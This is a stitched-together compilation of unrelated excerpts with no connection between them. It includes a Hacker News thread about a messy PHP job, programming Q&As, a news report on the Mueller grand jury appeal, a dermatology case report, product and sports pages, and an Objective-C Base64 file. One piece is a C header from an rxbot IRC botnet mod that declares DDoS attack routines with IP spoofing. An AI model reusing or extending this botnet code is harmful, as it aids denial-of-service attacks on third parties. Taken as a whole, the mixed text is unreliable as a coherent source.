1964 while serving a life sentence for the murder of her last husband. After reading about Nannie Doss, the serial killer nicknamed the Giggling Granny, read about Leonarda Cianciulli, who turned her murder victims into soap and teacakes. Then, read about Elisabeth Fritzl, who spent 24 years held captive by her father.
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Ask HN: Feeling miserable at work - grover_hartmann Rails programmer with ~10 years of experience here, recently I&#x27;ve been hired as a PHP programmer and I&#x27;m dealing with a very complex and undocumented codebase that I wish I never seen before.<p>You might ask &quot;why did you took the job in the first place?&quot;, well that&#x27;s either because I can&#x27;t find work in my area and most of it is PHP&#x2F;Python work and I can&#x27;t move either, the Rails related work that is remote requires that I move and remote work tends to be &quot;US remote&quot;.<p>The PHP code I&#x27;m working with is extremely complex&#x2F;messy and most of the code is undocumented, I have to do lots of debugging just for changing the simplest things and I&#x27;m also not very familiar with this language.<p>Most of the code is a mess of spaghetti code, think of HTML, JS and PHP all glued up with no proper structure.<p>The git repository is also one of the biggest repositories I have worked with (247 MB), 45,000 files and 1 million lines of code for the whole project.<p>I was already able to complete some tasks but I can&#x27;t help but feel miserable with this project.<p>Recently my manager started asking me questions like &quot;How&#x27;s it going? Will you finish this task today?&quot; and I explained to him I&#x27;m having difficulties with the code and that I&#x27;m not very comfortable working with it but he&#x27;s insisting that I stay firm at it and get familiar with the code. Please advice. ====== tboyd47 Sorry man. Sometimes you just have to deal with shit code. We've all been there. Are the people at the job nice? Do you have freedom to work as you please? Do you have the time to take the code in a better direction? I'm just trying to help you find a bright side. I'd say there are two possible paths here. Either the job is overwhelming to you, or it's not overwhelming but just extremely unpleasant. If it's overwhelming, I'd say to explain that to your manager and request an immediate short-term re-assignment. If it's just unpleasant, then follow your manager's advice. You might be holding your nose for a while, but you will adapt to it and it will get easier. ~~~ grover_hartmann > Are the people at the job nice? Yes, they seem patient/polite and I can tell they want me to stay, but I don't know them personally and this work is remote. > Do you have freedom to work as you please? Yes and no. > Do you have the time to take the code in a better direction? This is something that I'm currently annoyed with, when I was implementing a feature and working with a coworker, we had to re-use code from another function and instead of just making some changes to the function, he asked me to duplicate the function (~650 LoC). I suggested to just make some changes to the existing function and re-use that one, but my coworker didn't want to go that route and suggested I just duplicate the function and so I did, I'm pissed that I can't make my own choices and instead I have to follow his orders. My boss acknowledged that the project is in a bad state and sometimes I feel they are testing my patience, he mentioned they plan to rewrite the project in another language so I can tell they have common sense, but I get the feeling this other programmer I'm currently working with is happy with the state of the project and is holding things back. ~~~ tboyd47 650 LoC seems like a big chunk of code to copy and paste, but I don't know the project or the team. You can't expect to join a team and start turning everything upside-down. Even if you are honestly just trying to help, if that's how it's perceived, you will face resistance on any team. It sounds like at least your boss agrees with the general direction you want to go in. That's really the only thing that matters in the long term. You need to be humble and willing to work with people, but at the end of the day, you are only answerable to your direct supervisor. ~~~ grover_hartmann That's good advice, I appreciate it, thanks. I finally started understanding some of the code today, and things are starting to get better on that front. I agree with you, I'll stay humble and play my cards well, being employed is more important right now than taking possible risks and losing my job. ~~~ cerberusss When you're a couple of months in, you will probably no longer have to take orders from an idiot that wants you to copy and paste code. I've been in this situation. The existing developer was stuck in his ways, used a very old-fashioned way of dealing with the language in question and told me to do things that go against every good practice. It was frustrating. I just agreed, then slowly started asking token advice (for example naming, coding style, things that don't matter to me). Then simultaneously and without asking, I started setting up a git repo, a basic architecture, build server, linter et cetera. Hang in there, and build their confidence in you. Then slowly you can start doing things your way.
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Q: eclipse gradle workspace resolution between gradle projects not working 2 gradle projects, A and B where A has compile dependency on B defined. Remappig of JARs is enabled for maven & gradle projects. I've tried with custom tooling model enabled and disabled. I have local repositories defined in a file under init.d directory. Question 1: Why do I get an error of undersolved dependency for project B while resolving dependencies for A? Even though B isn't deployed to any of the repositories local workspace resolution should kick in and resolve it in same way as it is for maven projects (that works btw). Question 2: Does B need to have anything special apart from group and version defined in build.gradle to be visible for workspace resolution? I am running with eclipse 4.4.1 and Gradle IDE 3.7.0.201503301651-CI-B39. I've also tried stable release with same eclipse version. When running with --debug I can see gradle trying to resolve from local repositories and than giving up? A: The answer to both your question boils down to the fact that there is no workspace resolution as you might know it from maven / m2e. The 'remapping' of dependencies does not 'resolve' projects in the workspace in the sense that it treats the workspace as some kind of a repository. Instead dependencies are resolved as normally by Gradle from whatever repositories you have defined in your build scripts. Then the tooling will attempt to determine if some of the resolved jar dependencies correspond to projects in your workspace. It then 'replaces' (or 'remaps') the jar dependency with a project dependency. So, this means that you must at least publish the jar to some place where it can be resolved before the remapping can kick in. (From that point on you do not have to republish your jars as it doesn't really matter that the resolved jar isn't 'up-to-date') Some other things that may be useful to know... remapping is only applied to tooling managed dependencies, so you must have 'dependency management' enabled. There's a bug that makes this not work for 'flat file' repo. There could be other cases affected by similar bugs. You should report such bugs if you run into them. (Allthough I didn't have much luck myself getting the Gradle folk's attention about the flatfile bug)
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/* XXXXX XXXXXX XXXXXXX XXX XXX XXXXXXX XXXXX XXX XXX XXX XXX XX XXX XXX XXX XXXXXXXX XXX XXX XXXXXXX XXX XXX XXX XXX XXX XXXXXXXX XXXXXXX XXX XXX XXX XXX XXX XXX XXXXXXXX XXX XXX XXX XXX XXX XXX XX XXXXX XXXXXXXX XXX XXX XXXXX XXX XXX XXXXXXX XXX XXX XXX XXXXX XXX .v2b XXXXX ____________________ + enzyme ..v2b + | nzm rxbot mod .. | | private release * | | 04.04.05 | +____________________+ ____________________ + code from .. + | bcuzz | | stoney | | x-lock | | ionix | | phatty | | nesespray | | rbot dev team | +____________________+ ____________________ + read .. + | the docs | | don't .. | | mass distribute | +____________________+ */ #ifndef NO_DDOS typedef struct DDOS { SOCKET sock; int threadnum; char ip[128]; char port[128]; char length[128]; char chan[128]; char type[128]; BOOL notice; BOOL silent; BOOL gotinfo; } DDOS; DWORD WINAPI DDOSThread(LPVOID param); long SendDDOS(unsigned long TargetIP, unsigned int SpoofingIP, char *Type, unsigned short TargetPort,int Times); long DDOSAttack(char *target, char *port, char *type, char *len); #endif
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Justice Department attorneys noted in a court filing related to the appeal Monday that at the moment the impeachment effort seems primarily centered on allegations that Trump sought to trade hundreds of millions of dollars in aid for Ukraine in exchange for officials in Kyiv announcing an investigation that could be politically damaging to one of Trump’s political rivals, former Vice President Joe Biden. The Justice Department’s detailed grounds for its appeal will be filed with the D.C. Circuit, but a motion submitted to Howell Monday seeking a stay of her decision sought to use statements by Pelosi to quarrel with Howell’s claim Friday that the Mueller grand jury materials bear on events “central to the impeachment inquiry.” “The Speaker has announced that the House impeachment inquiry will focus narrowly on the whistleblower complaint and issues surrounding Ukraine,” DOJ lawyer Elizabeth Shapiro wrote. The Justice Department brief cites a Washington Post article about Pelosi’s statement and, in an unusual move, quotes an assessment by the authors of the story that the Judiciary Committee and its chairman, Rep. Jerry Nadler (D-N.Y), have been “at least temporarily relegated to the wings.” Howell’s ruling last week granted the Judiciary Committee access to portions of Mueller’s final report that were redacted as grand jury secrets. She also said the House panel is entitled to underlying grand jury information cited in the report. Her ruling rejected arguments from Trump and White House counsel Pat Cipollone that the ongoing impeachment inquiries were invalid because there was no formal House vote to authorize them. She also said legal precedents dictate that impeachment is a judicial proceeding that falls within a legal provision permitting disclosure of grand jury information that would ordinarily would be secret. Howell, an appointee of President Barack Obama, gave the Justice Department until Wednesday to turn over the requested records. She gave Democrats until noon on Tuesday to respond to the Justice Department. House lawyers have indicated they plan to oppose any extension of the DOJ’s Wednesday deadline. Justice Department lawyers argued that allowing Howell’s decision to take effect would essentially deprive the administration of the ability to present its “strong arguments” that her ruling was mistaken. “A stay is warranted because, without a stay, the Department will be irreparably harmed,” Shapiro wrote. “Once the information is disclosed, it cannot be recalled, and the confidentiality of the grand jury information will be lost for all time — particularly if Petitioner United States House of Representatives Committee on the Judiciary … decides to publicize the now-secret grand jury materials, which it has asserted the power to do through a simple majority vote.” If Howell denies the stay motion, the Justice Department will likely make a near-identical request to the D.C. Circuit. It commonly grants such motions, at least briefly, so it can consider how to proceed. The appeal will be assigned to a three-judge panel of the D.C. Circuit, which has seven Democratic appointees and four GOP appointees on its active bench. The House committee or the Justice Department could also seek review by the full bench of the D.C. Circuit or the Supreme Court.
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Introduction {#sec1} ============ Drug reaction with eosinophilia and systemic symptoms (DRESS) is a potentially life-threatening condition with a risk of mortality estimated between 2% and 10%. Skin findings are usually accompanied by fever, peripheral eosinophilia, and multiorgan involvement.[@bib1] First described as an adverse reaction to anticonvulsants, many medications are implicated in DRESS.[@bib2] We present a case of apremilast-induced DRESS in a patient treated for pityriasis rubra pilaris (PRP). To our knowledge, this is the first reported case of apremilast-associated DRESS. Case report {#sec2} =========== A 38-year-old white woman with a history of PRP presented to the inpatient dermatology consult service with progressive redness and swelling of her face and worsening skin rash 6 weeks after initiation of apremilast. She had persistent cough and shortness of breath that started a few days after initiation of apremilast. Erythematous scaly plaques with islands of sparing appeared on the trunk, bilateral upper and lower extremities, and buttocks ([Fig 1](#fig1){ref-type="fig"}). There was significant facial edema, diffuse injection of the conjunctiva, and bilateral cervical lymphadenopathy ([Fig 2](#fig2){ref-type="fig"}). She was afebrile and tachycardic with a heart rate of 122 beats/minute. Laboratory results on admission included an eosinophil count of 0.9 K/μL (normal range, 0.00-0.50 K/μL). Tests for influenza A and B, thyroid-stimulating hormone, free thyroxine, urinalysis, and complete metabolic panel were all within normal limits, and her alanine aminotransferase and aspartate aminotransferase were 32 (normal range, \<35 IU/L) and 18 (normal range, 8-30 IU/L), respectively. Three days later, she had transaminitis with alanine aminotransferase and aspartate aminotransferase of 77 and 42 IU/L, respectively. Epstein-Barr virus, cytomegalovirus, and human herpesvirus-6 titers were negative. Skin biopsy found psoriasiform hyperplasia, spongiotic dermatitis, dyskeratosis, and many eosinophils ([Fig 3](#fig3){ref-type="fig"}). Chest radiograph was negative. Hepatitis A, B, and C virus serologic testing was negative a week after discharge. Her RegiSCAR score was 4: afebrile (-1 point); bilateral cervical lymphadenopathy (0 points); circulating atypical lymphocytes, unknown (0 points); eosinophil count, 0.9 k/μL (1 point); cutaneous eruption, greater than 50% body surface area (1 point), suggestive of DRESS (1 point); biopsy suggestive of DRESS (0 points); involvement of the lungs and liver (2 points); resolved in greater than 15 days (0 points); negative hepatitis serology, antinuclear antibody, blood cultures, and *Chlamydia* and *Mycoplasma* serology, unknown (0 points).Fig 1DRESS. Confluent erythematous plaques with islands of sparing on the abdomen.Fig 2DRESS. Significant facial edema with erythema and scale.Fig 3DRESS. Mild irregular epidermal hyperplasia with an underlying patchy lichenoid infiltrate comprised of lymphocytes and eosinophils. Triamcinolone 0.1% ointment wet wraps twice daily under occlusion were initiated along with a 6-week prednisone taper starting at 60 mg/d with clinical improvement and normalization of laboratory values. At a 4-week follow-up visit, she had flaring on 20 mg of prednisone, so her taper was extended, and she was started on ustekinumab for PRP. Systemic retinoids were avoided given her childbearing potential. Her disease flared again after completing the prednisone taper at week 10, and a repeat skin biopsy was suggestive of drug eruption, so she was started on cyclosporine, 100 mg twice daily, and ustekinumab was discontinued. Mycophenolate mofetil, 1500 mg twice daily, was started with improvement seen. At the time of this writing, she was maintained on mycophenolate mofetil without flares of PRP or recurrence of DRESS. Discussion {#sec3} ========== DRESS develops 2 to 6 weeks after drug initiation. Commonly implicated medications include carbamazepine, phenobarbital, phenytoin, dapsone, sulfasalazine, minocycline, trimethoprim-sulfamethoxazole, vancomycin, abacavir, nevirapine, bupropion, amlodipine, and allopurinol.[@bib3] DRESS usually begins as a morbilliform rash. Facial edema is the hallmark of DRESS, and peripheral blood eosinophilia, atypical lymphocytes, mild mucosal involvement, and fever constitute the main findings. Patients may have lymphadenopathy, hepatitis, nephritis, myositis, pneumonitis, and myocarditis, with the liver being the most frequently involved internal organ.[@bib4] A systematic review found the most common pulmonary manifestations included dyspnea and cough, which may precede the other findings as was seen in our case.[@bib5] The RegiSCAR scoring system for DRESS is a helpful diagnostic tool, and patients with a score of 4 to 5 represent a probable case.[@bib6] The J-SCAR scoring system takes into account the time course of development of the rash, time to resolution, and the presence or absence of fever, liver and leukocyte abnormalities, lymphadenopathy, and human-herpesvirus 6 reactivation. No scoring system is entirely specific for DRESS, and there are limitations to consider including the fact patients can have hematologic abnormalities that are not accounted for in the RegisSCAR scoring system.[@bib6] Additionally, the morphology of DRESS can vary, making it challenging to assess whether the cutaneous eruption is suggestive of DRESS. In this case, it was challenging to differentiate between a severe flare of PRP and DRESS. The timing of the eruption after starting apremilast and the development of lymphadenopathy, facial edema, peripheral eosinophilia, and systemic organ involvement all supported a diagnosis of DRESS. Skin biopsy of DRESS typically finds a superficial perivascular lymphocytic infiltrate with eosinophils.[@bib3]^,^[@bib4] Although there may be occasional eosinophils and plasma cells in the dermal infiltrate of PRP, the degree of tissue eosinophilia and spongiosis in this case was most consistent with DRESS.[@bib7] Patients with DRESS should undergo routine laboratory monitoring including complete blood count with differential and liver function tests until normalized. Patients are at increased risk for type 1 diabetes mellitus and thyroiditis, and thyroid-stimulating hormone and free thyroxine testing should be repeated at 3 months, 1 year, and 2 years.[@bib8]^,^[@bib9] Our patient had unremarkable laboratory findings during her follow-up period. The pathogenesis of DRESS is not fully elucidated, but reactivation of human herpes viruses, genetic polymorphisms in drug metabolism, and immune mechanisms including human leukocyte antigen susceptibility and interleukin-5--driven drug-specific T cells may all play a role.[@bib3] Prompt discontinuation of the offending medication is crucial, and therapy with oral corticosteroids is often initiated for patients with significant symptoms or systemic involvement. A slow corticosteroid taper over weeks to months is recommended to avoid relapse. Our patient had flare up during her 6-week prednisone taper, requiring a repeat skin biopsy to determine if her skin findings were consistent with relapse of DRESS or uncontrolled PRP, and a more prolonged prednisone taper was required. Other potential therapies include cyclosporine, cyclophosphamide, mycophenolate mofetil, and rituximab.[@bib10] Funding sources: None. Conflicts of interest: None disclosed.
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The Turino Rectangle Dining Table is a great family piece. The large spacious tabletop offers ample food and elbow room and seating space for many! Finished in a Grey Oak Stain, the table features thick, sturdy legs in an X-design. Some assembly required. The Powell Company was established in 1968 and has grown to become the leader of home accent furniture in the United States today. Powell has expanded their capabilities as a full-service home furnishings provider through Powell Kids, Powell Limited, Powell Beds and Powell Divisions. Powell is committed to the quality and service that is expected from them and is dedicated to bringing you a broad selection of innovative bedroom furniture products that are well suited to their ever-changing lifestyles. Powell products have earned a number of important awards for design, function and style. In the Youth Furniture category for example, Powell has been nominated for the furniture industries important Pinnacle Award 7 times in the last six years (twice in one year) and won “First Place” three times and finished runner up on two other occasions. Buy Powell with confidence, knowing that you’re investing in over 40 years of manufacturing excellence and experience. CUSTOMER REVIEWS Your name: * Your message: * ALSO IN THIS COLLECTION The product you are viewing is part of Powell Cafe by Powell. Other collection items include:
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To many a casual observer of international football the names Pirlo, Balotelli and Buffon are the first that come to mind when the country of Italy is mentioned. They are the stars, the names which drive the sale of shirts. But what of the other members of the squad? Here is the tale of three prodigies united once more, poised to transition into international stardom. It begins with none other than Zdeněk Zeman, one of the most polarizing figures in the world of football. Depending on who one asks, Zeman can be revered as a tactical genius, even as legendary for his contributions to the beautiful game or as an outspoken, outdated and arrogant failure who got lucky twice. The reality lays somewhere in between these two contrasting opinions – either way the man who sparked “Zemanlandia” on multiple occasions will have made his mark on three of the Azzurri’s burgeoning talents: Marco Verratti, Ciro Immobile and Lorenzo Insigne. In case you are wondering what the term Zemanlandia is referring to, it was coined after the back to back promotions of Foggia to Serie A from the Italian third division back in the late 80’s. He took a squad consisting of relative youth and brought them to the UEFA Cup as it was known as back then. They played a Dutch-like style of high pressure defending and fast-passing action – almost akin to Barcelona’s “Tiki-taka” except for one notable difference: an all-out attack. Yet Zeman faded into obscurity after several miserable spells in the following years. As a gamble, three years ago Italian Serie B side Pescara announced him as their new manager for the 2011-2012 season. They would go on to set the Serie B record for best goal differential ever in that season, winning the title on the final match day of the regular season and of course promotion to the top tier for the first time since the 90’s. The key youngsters on this revival of “Zemanlandia”? Two players who were loaned in from Napoli and Juventus respectfully; Insigne and Immobile as well as a midfielder promoted from within – Verratti, who hails from Pescara himself. Immobile earned the title “Capocannoniere” as top goal scorer with 28 on the season, Verratti and Insigne serving as his playmakers. They were an unstoppable side who tore opposition apart with their high-flying attack; Verratti served as their playmaker in a deep-lying role similar to Pirlo, Insigne as the tricky attacking midfielder to feed Immobile as their focal point. Their chemistry still has not worn off. In the last warmup fixture before the World Cup, Italy’s projected reserves took on Brazillian outfit Fluminense, winning 5-3. Defensive woes aside, Immobile did enough to ensure Cesare Prandelli has selection headaches for days to come – he netted three and provided the assists on two, both scored by none other than Insigne. All of this before the 60th minute it must be noted. Where will this trio slot into Prandelli’s side? The Pescara Connection Ciro Immobile: The alternative striker to Mario Balotelli, he will most likely play the role of the substitute. If Balotelli falters in the first match against England, look for Immobile to start against Costa Rica in order to impress his coach and all those who doubt his pedigree at this level Lorenzo Insigne: Another substitute role, can slot anywhere in midfield offensively or on the wings. Will most likely not start unless of injury. Marco Verratti: Rumoured to be starting Italy’s first group stage match versus England as the replacement for Montolivo. If so, this will be a prime occasion for the youngster to demonstrate his talents on the big stage for the first time. It is not difficult to visualize him linking up with Pirlo in the engine room shielding the defenders as well as providing penetrative through balls to attackers. For the latest sports injury news, check out our friends at Sports Injury Alert. Thank you for reading. Please take a moment to follow me on Twitter – @Aldo_Calcio. Support LWOS by following us on Twitter – @LastWordOnSport – and “liking” our Facebook page. Feel free to discuss this and other footy related articles with thousands of fans at r/football. Main Photo:
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Trapeze Networks Trapeze Networks, Inc. was founded in 2002. It is a Wi-Fi networking infrastructure and services vendor. In Sept 2007 Trapeze was recognized by Frost and Sullivan as the first company to apply controller virtualization techniques to wireless networks resulting in session-level hitless failover capabilities. Trapeze was acquired by Belden Inc. in July 2008 for $133 million. In December 2008 Trapeze Networks acquired Newbury Networks, a Wi-Fi based Real-Time Location Services (RTLS) company. In November 2010 Juniper Networks announced a definitive agreement to acquire Trapeze Networks in an all-cash transaction valued at approximately $152 million. References External links Network World Article: Trapeze swings for Newbury Networks Will Belden treat Trapeze right? Category:Computer companies established in 2002 Category:Companies based in Pleasanton, California Category:2002 establishments in California Category:Juniper Networks Category:2010 mergers and acquisitions
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HEARING TIPS 10 Facts About Hearing Loss You Didn’t Know We’ve found that our patients are nearly always surprised to learn about hearing loss, about how widespread it is and how it impacts all age groups. They’re also quite surprised to learn how hearing loss can influence all aspects of health. As hearing professionals, that means we have a great deal of work to do. Certainly, the understanding of hearing loss does not match the truth, and we have to work to raise awareness. – according to the World Health Organization, over 5 percent of the world’s population (360 million) have disabling hearing loss. 48 million people in the United States have hearing loss – that’s 20 percent of all Americans, or one out of every five, that claim some measure of hearing loss. 1 in 5 teens has hearing loss – hearing loss in teens is growing with the increased use of earbuds, among other factors. Hearing loss does not discriminate by age group. 65 percent of those with hearing loss are under age 65 – the idea that hearing loss only affects old people is one of the most popular and inaccurate misconceptions about hearing loss. 60 percent of veterans return home with hearing loss and tinnitus – hearing concerns are the most frequently documented injury by veterans. Hearing loss is also one of the most widespread work-related injuries, affecting approximately 22 million workers in the US. Hearing loss can result in cognitive decline – several studies out of Johns Hopkins University have confirmed links between hearing loss and cognitive decline, diminished memory, and even a heightened risk of developing dementia. Hearing loss increases the risk of falling – a recent study reported that people with mild hearing loss were three times more likely to have a history of falling compared to those with normal hearing. And the chances of falling increase as hearing loss becomes more significant. Hearing loss occurs in 90 percent of tinnitus cases – most instances of tinnitus are accompanied by hearing loss, which means both conditions can potentially be managed with hearing aids. Hearing loss can affect income – In a survey carried out by the Better Hearing Institute, hearing loss was found to negatively impact household income up to an average of $12,000 per year depending on the extent of hearing loss. 28.8 million US adults could benefit from hearing aids – in spite of the fact that hearing aids could help millions of Americans, fewer than one in three actually use them. This even with all of the technological improvements. Help us boost awareness about the facts of hearing loss by sharing this article. You could end up encouraging someone to enhance their life with better hearing.
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Q: Try/Catch for Attempt to Dereference Null Object Is there a way I can test with an IF statement for a null object. Using an IF (obj==null) throws the error. How can I account for these? With SOQL, I use a list and check the number. However, the return type for this map is an ID. I don't know how to check that. I'd also like to not use a list if possible. if (Schema.SObjectType.apm_applications__c.getRecordTypeInfosByName().get('NonExistentRecordType').getRecordTypeId()==null){ system.debug('should be print ID ->' + string.valueof(Schema.SObjectType.apm_applications__c.getRecordTypeInfosByName().get('RecordTypeExists').getRecordTypeId())); } A: The problem is that you're not checking for null in time. There's no need to use try-catch (and you shouldn't, because they are incredibly expensive CPU-wise). The appropriate way would be to do this: Map<String, RecordTypeInfo> apmRecordTypes = Schema.SObjectType.apm_applications__c.getRecordTypeInfosByName(); ... if(apmRecordTypes.containsKey('SomeRecordTypeName')) { Id recordTypeId = apmRecordTypes.get('SomeRecordTypeName').getRecordTypeId(); ...
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// // NSData+Base64.m // base64 // // Created by Matt Gallagher on 2009/06/03. // Copyright 2009 Matt Gallagher. All rights reserved. // // Permission is given to use this source code file, free of charge, in any // project, commercial or otherwise, entirely at your risk, with the condition // that any redistribution (in part or whole) of source code must retain // this copyright and permission notice. Attribution in compiled projects is // appreciated but not required. // #import "NSData+Base64.h" // // Mapping from 6 bit pattern to ASCII character. // static unsigned char base64EncodeLookup[65] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; // // Definition for "masked-out" areas of the base64DecodeLookup mapping // #define xx 65 // // Mapping from ASCII character to 6 bit pattern. // static unsigned char base64DecodeLookup[256] = { xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, 62, xx, xx, xx, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, xx, xx, xx, xx, xx, xx, xx, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, xx, xx, xx, xx, xx, xx, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, }; // // Fundamental sizes of the binary and base64 encode/decode units in bytes // #define BINARY_UNIT_SIZE 3 #define BASE64_UNIT_SIZE 4 // // NewBase64Decode // // Decodes the base64 ASCII string in the inputBuffer to a newly malloced // output buffer. // // inputBuffer - the source ASCII string for the decode // length - the length of the string or -1 (to specify strlen should be used) // outputLength - if not-NULL, on output will contain the decoded length // // returns the decoded buffer. Must be free'd by caller. Length is given by // outputLength. // void *NewBase64Decode( const char *inputBuffer, size_t length, size_t *outputLength) { if (length == -1) { length = strlen(inputBuffer); } size_t outputBufferSize = ((length+BASE64_UNIT_SIZE-1) / BASE64_UNIT_SIZE) * BINARY_UNIT_SIZE; unsigned char *outputBuffer = (unsigned char *)malloc(outputBufferSize); size_t i = 0; size_t j = 0; while (i < length) { // // Accumulate 4 valid characters (ignore everything else) // unsigned char accumulated[BASE64_UNIT_SIZE]; size_t accumulateIndex = 0; while (i < length) { unsigned char decode = base64DecodeLookup[inputBuffer[i++]]; if (decode != xx) { accumulated[accumulateIndex] = decode; accumulateIndex++; if (accumulateIndex == BASE64_UNIT_SIZE) { break; } } } // // Store the 6 bits from each of the 4 characters as 3 bytes // outputBuffer[j] = (accumulated[0] << 2) | (accumulated[1] >> 4); outputBuffer[j + 1] = (accumulated[1] << 4) | (accumulated[2] >> 2); outputBuffer[j + 2] = (accumulated[2] << 6) | accumulated[3]; j += accumulateIndex - 1; } if (outputLength) { *outputLength = j; } return outputBuffer; } // // NewBase64Decode // // Encodes the arbitrary data in the inputBuffer as base64 into a newly malloced // output buffer. // // inputBuffer - the source data for the encode // length - the length of the input in bytes // separateLines - if zero, no CR/LF characters will be added. Otherwise // a CR/LF pair will be added every 64 encoded chars. // outputLength - if not-NULL, on output will contain the encoded length // (not including terminating 0 char) // // returns the encoded buffer. Must be free'd by caller. Length is given by // outputLength. // char *NewBase64Encode( const void *buffer, size_t length, bool separateLines, size_t *outputLength) { const unsigned char *inputBuffer = (const unsigned char *)buffer; #define MAX_NUM_PADDING_CHARS 2 #define OUTPUT_LINE_LENGTH 64 #define INPUT_LINE_LENGTH ((OUTPUT_LINE_LENGTH / BASE64_UNIT_SIZE) * BINARY_UNIT_SIZE) #define CR_LF_SIZE 2 // // Byte accurate calculation of final buffer size // size_t outputBufferSize = ((length / BINARY_UNIT_SIZE) + ((length % BINARY_UNIT_SIZE) ? 1 : 0)) * BASE64_UNIT_SIZE; if (separateLines) { outputBufferSize += (outputBufferSize / OUTPUT_LINE_LENGTH) * CR_LF_SIZE; } // // Include space for a terminating zero // outputBufferSize += 1; // // Allocate the output buffer // char *outputBuffer = (char *)malloc(outputBufferSize); if (!outputBuffer) { return NULL; } size_t i = 0; size_t j = 0; const size_t lineLength = separateLines ? INPUT_LINE_LENGTH : length; size_t lineEnd = lineLength; while (true) { if (lineEnd > length) { lineEnd = length; } for (; i + BINARY_UNIT_SIZE - 1 < lineEnd; i += BINARY_UNIT_SIZE) { // // Inner loop: turn 48 bytes into 64 base64 characters // outputBuffer[j++] = base64EncodeLookup[(inputBuffer[i] & 0xFC) >> 2]; outputBuffer[j++] = base64EncodeLookup[((inputBuffer[i] & 0x03) << 4) | ((inputBuffer[i + 1] & 0xF0) >> 4)]; outputBuffer[j++] = base64EncodeLookup[((inputBuffer[i + 1] & 0x0F) << 2) | ((inputBuffer[i + 2] & 0xC0) >> 6)]; outputBuffer[j++] = base64EncodeLookup[inputBuffer[i + 2] & 0x3F]; } if (lineEnd == length) { break; } // // Add the newline // outputBuffer[j++] = '\r'; outputBuffer[j++] = '\n'; lineEnd += lineLength; } if (i + 1 < length) { // // Handle the single '=' case // outputBuffer[j++] = base64EncodeLookup[(inputBuffer[i] & 0xFC) >> 2]; outputBuffer[j++] = base64EncodeLookup[((inputBuffer[i] & 0x03) << 4) | ((inputBuffer[i + 1] & 0xF0) >> 4)]; outputBuffer[j++] = base64EncodeLookup[(inputBuffer[i + 1] & 0x0F) << 2]; outputBuffer[j++] = '='; } else if (i < length) { // // Handle the double '=' case // outputBuffer[j++] = base64EncodeLookup[(inputBuffer[i] & 0xFC) >> 2]; outputBuffer[j++] = base64EncodeLookup[(inputBuffer[i] & 0x03) << 4]; outputBuffer[j++] = '='; outputBuffer[j++] = '='; } outputBuffer[j] = 0; // // Set the output length and return the buffer // if (outputLength) { *outputLength = j; } return outputBuffer; } @implementation NSData (Base64) // // dataFromBase64String: // // Creates an NSData object containing the base64 decoded representation of // the base64 string 'aString' // // Parameters: // aString - the base64 string to decode // // returns the autoreleased NSData representation of the base64 string // + (NSData *)dataFromBase64String:(NSString *)aString { NSData *data = [aString dataUsingEncoding:NSASCIIStringEncoding]; size_t outputLength; void *outputBuffer = NewBase64Decode([data bytes], [data length], &outputLength); NSData *result = [NSData dataWithBytes:outputBuffer length:outputLength]; free(outputBuffer); return result; } // // base64EncodedString // // Creates an NSString object that contains the base 64 encoding of the // receiver's data. Lines are broken at 64 characters long. // // returns an autoreleased NSString being the base 64 representation of the // receiver. // - (NSString *)base64EncodedString { size_t outputLength; char *outputBuffer = NewBase64Encode([self bytes], [self length], true, &outputLength); NSString *result = [[[NSString alloc] initWithBytes:outputBuffer length:outputLength encoding:NSASCIIStringEncoding] autorelease]; free(outputBuffer); return result; } @end
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This episode Pete talks to Motown recording artist Brenda Holloway, playing some of her classic 60's tracks in between a set of the finest funk and soul. Ace Records provides the 2013 reissiue of Brenda Holloway's 1968 compilation LP "The Artistry Of Brenda Holloway" which is now available on CD. Press Release by Ace Records UK: "We provided an appetiser to the career of Brenda Holloway with “The Early Years - Rare Recordings 1962-1963”, issued on CDCHD 1241 in 2009. Now we serve up the main course with this expanded reissue of “The Artistry Of Brenda Holloway”, a compilation LP released exclusively in the UK in 1968. The album comprised an overview of Brenda’s four-year spell with Motown, featuring all of her USA-sides, five B-sides and two tracks from her “Every Little Bit Hurts” long-player. Our reissue comes with eight never-before-heard bonus titles from the Motown vaults. The “Artistry” album was issued in mono and stereo, but the stereo version is much rarer today, so we have decided to go with that for our CD reissue, with one exception. The track ‘Every Little Bit Hurts’ exists only in mono and fake stereo; in the absence of a true stereo version, we’ve used the original mono master here. The bonus titles span Brenda’s Motown career, from 1964’s pop-sounding ‘Mr Lifeguard (Come And Rescue Me)’ to the soulful ‘It’s Love I Need’, completed just a few months before her departure from the company in 1968. One stand-out track that deserves special mention is ‘After All That You’ve Done’, a typically breathy gem penned by Smokey Robinson. Most of the tracks are soulful ballads, at which Brenda was one of Motown’s foremost exponents. Even her most successful song, albeit as a writer rather than as a performer, ‘You’ve Made Me So Very Happy’, was arranged as a ballad, despite Brenda’s dogged insistence it should be cut as an up-tempo number. Her instincts were proved right when Blood, Sweat & Tears had a #2 hit with the song in 1969, in a jazz-rock arrangement. Brenda’s only up-tempo A-side for Motown, ‘Just Look What You’ve Done’, shows that she was more than capable of handling this kind of material. To conclude, a few words from Brenda: “While I was signed to Motown I was constantly in and out of the studio. I recorded so many different tracks that after a while I just lost count of what song was what or what the 